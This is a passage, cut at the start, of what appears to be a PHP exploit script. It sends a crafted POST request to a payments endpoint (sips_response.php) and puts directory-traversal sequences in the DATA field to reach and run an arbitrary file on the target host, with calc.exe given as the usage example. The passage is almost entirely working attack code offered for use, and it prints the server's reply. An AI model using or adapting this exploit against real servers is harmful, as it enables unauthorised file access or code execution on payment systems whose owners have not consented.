\n\n"; print "\x20[*] Example: php $argv[0] localhost windows%2Fsystem32%2Fcalc.exe\n\n"; die(); } $host = $argv[1]; $cmd = $argv[2]; $sock = fsockopen($host,80); $post = "DATA=..%2F..%2F..%2F..%2F..%2F{$cmd}"; $duz = strlen($post); $data = "POST http://{$host}/payments/sips_response.php HTTP/1.1\r\n". "Host: {$host}\r\n". "User-Agent: Mozilla/5.0\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "Accept-Encoding: gzip,deflate\r\n". "Content-Length: {$duz}\r\n\r\n{$post}\r\n\r\n"; fputs($sock,$data); while(!feof($sock)) { $html .= fgets($sock); } fclose($sock); echo "\n" . $html; ?>